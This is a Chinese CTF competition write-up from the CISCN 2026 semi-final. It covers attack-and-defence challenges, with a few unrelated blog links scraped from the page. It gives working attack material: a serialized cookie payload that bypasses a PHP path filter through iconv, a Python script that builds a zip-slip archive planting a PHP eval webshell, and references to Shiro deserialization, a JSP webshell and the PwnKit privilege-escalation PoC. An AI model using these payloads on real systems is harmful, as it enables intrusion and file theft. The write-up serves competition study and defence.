CISCN2026半决赛wp

第一次参加线下赛,拿了三等奖,有一题还是挺可惜的,拿到shell了,但没时间找flag,明年继续加油吧。

MediaDrive

FIX

扫描发现可能有三个漏洞,文件读取,文件上传等,我一开始上了些waf没过,第二次直接上通防就修复成功了。

dr0op/k4l0ng_WAF: A broute detect WAF by PHP using to AWD

BREAK

从源码中可以看到,user的信息是cookie反序列化得到的

php 复制代码
if (isset($_COOKIE['user'])) {
    $user = @unserialize($_COOKIE['user']);
}

这里主要关注preview.php

rawPathf两个参数都是用户可控的,拼接后进行正则匹配,匹配后通过iconv函数进行编码的转换

可以看到iconv("UTF-8", "ISO-8859-1//IGNORE", $text)

如果你添加了字符串 //IGNORE,不能以目标字符集表达的字符将被默默丢弃。

在UTF-8与ISO-8859-1的转换中会被丢弃

php 复制代码
# preview.php
$rawPath = $user->basePath . $f;

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
    http_response_code(403);
    echo "Access denied";
    exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
    http_response_code(500);
    echo "Conversion failed";
    exit;
}

$content = @file_get_contents($convertedPath);

攻击思路:

将编码偏好改为ISO-2022-CN-EXT,并将basePath改为根目录/,把f变为f€lag

php 复制代码
$serilized = "O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A15%3A%22ISO-2022-CN-EXT%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D"

class __PHP_Incomplete_Class#1 (4) {
  public $__PHP_Incomplete_Class_Name =>
  string(4) "User"
  public $name =>
  string(5) "guest"
  public $encoding =>
  string(15) "ISO-2022-CN-EXT"
  public $basePath =>
  string(1) "/"
}

由于是先检测后编码转换,f€lag会绕过正则,编码转换后又变回flag,成功绕过

EASY_TIME

BREAK

从dockerfile中可以发现起了两个服务,5000端口是对外的pyhton,80是内部的php服务

dockerfile 复制代码
FROM php:8.2.6-apache

ENV PYTHONUNBUFFERED=1 \
	PYTHONDONTWRITEBYTECODE=1

RUN docker-php-ext-configure opcache --enable-opcache \
	&& docker-php-ext-install opcache \
	&& sed -i 's|http://deb.debian.org|https://deb.debian.org|g' /etc/apt/sources.list \
	&& sed -i 's|http://security.debian.org|https://security.debian.org|g' /etc/apt/sources.list \
	&& apt-get update -o Acquire::Retries=5 \
	&& apt-get install -y --no-install-recommends supervisor python3 python3-venv python3-distutils python3-pip \
	&& rm -rf /var/lib/apt/lists/*

WORKDIR /app

RUN pip3 install --no-cache-dir flask werkzeug

RUN mkdir -p /app/uploads /app/plugins /app/static/uploads/avatars

COPY . /app

COPY html/ /var/www/html/

COPY php.ini-development /usr/local/etc/php/php.ini

RUN rm -rf /app/html /app/Dockerfile /app/docker-compose.yaml /app/docker-compose.yml /app/php.ini*


COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf

EXPOSE 80 5000

CMD ["supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]
yaml 复制代码
    ports:
      - "5000:5000"
    expose:
      - "80"

爆破得出密码是secret,成功登录

python 复制代码
        if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
            resp = flask.make_response(flask.redirect(next_url))
            resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
            resp.set_cookie('user', username, httponly=True, samesite='Lax')
            return resp

个人头像中存在SSRF

python 复制代码
def fetch_remote_avatar_info(url: str):
    if not url:
        return None

    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in {"http", "https"}:
        return None
    if not parsed.hostname:
        return None

    req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})
    

    try:
        with urllib.request.urlopen(req, timeout=3) as resp:
            content = resp.read()
            return {
                "content_snippet": content,
                "status": getattr(resp, "status", None),
                "content_type": resp.headers.get("Content-Type", ""),
                "content_length": resp.headers.get("Content-Length", ""),
            }
    except Exception:
        return None

上传插件的函数没对压缩包中的文件名进行过滤,直接拼接,存在路径遍历漏洞

python 复制代码
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
    with zipfile.ZipFile(zip_path, 'r') as z:
        for info in z.infolist():
            target = os.path.join(dest_dir, info.filename)  
            if info.is_dir():
                os.makedirs(target, exist_ok=True)
            else:
                os.makedirs(os.path.dirname(target), exist_ok=True)
                with open(target, 'wb') as f:
                    f.write(z.read(info.filename))  

现在的攻击链就很清晰了,构造恶意压缩包写🐎,然后通过SSRF来读flag

python 复制代码
import zipfile
import io

def create_payload_zip():
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        zip_entry_name = "../../../var/www/html/shell.php"
        php_content = b"""
        <?php
            @eval($_GET[1]);
		?>
"""
        zf.writestr(zip_entry_name, php_content)
    

    with open("payload.zip", "wb") as f:
        f.write(zip_buffer.getvalue())
        
    print(f"[*] Target Path: {zip_entry_name}")

if __name__ == "__main__":
    create_payload_zip()

用find命令找flag,这里的空格要url编码一次

FIX

思路是禁止加载远程头像的功能和检测压缩包内文件的文件名,但试了几次都没成功,很想知道check脚本是怎么写的。

ISW

靶机三

flag1

发现是java的服务,并且返回包中有rememberMe,猜测可能有shiro反序列化,直接用工具一把梭,读到根目录的flag。

flag2

建立立足点,上传jsp🐎连上蚁剑,我知道的提权方式都试过了,都没成功,赛后才知道是pkexec提权(渗透打的还是太少了)。下面是poc

arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit's pkexec (CVE-2021-4034)

相关推荐
早安试言2 小时前
【了解】对话指令详解
服务器·python
AC赳赳老秦2 小时前
OpenClaw 系统监控实战指南:构建高效的电脑/服务器状态监控与自动告警系统
服务器·开发语言·人工智能·php·ai-native·deepseek·openclaw
花纵酒2 小时前
kali:Sqlmap专题
web安全
njidf2 小时前
使用Python分析你的Spotify听歌数据
jvm·数据库·python
源码站~2 小时前
基于 Flask 的电影评分与票房关联分析系统
后端·python·flask
2301_793804692 小时前
数据分析与科学计算
jvm·数据库·python
介一安全2 小时前
【Web安全】HTTP请求走私与CL.TE漏洞从入门到实战
web安全·网络安全·安全性测试·http请求走私
Eason_LYC2 小时前
封神!Apache OFBiz CVE-2024-45507 漏洞复现(从入门到反弹Shell,新手也能拿捏服务器)
服务器·web安全·网络安全·apache·apache ofbiz·cve-2024-45507·getshell
tlwlmy2 小时前
python excel图片批量拼接导出
前端·python·excel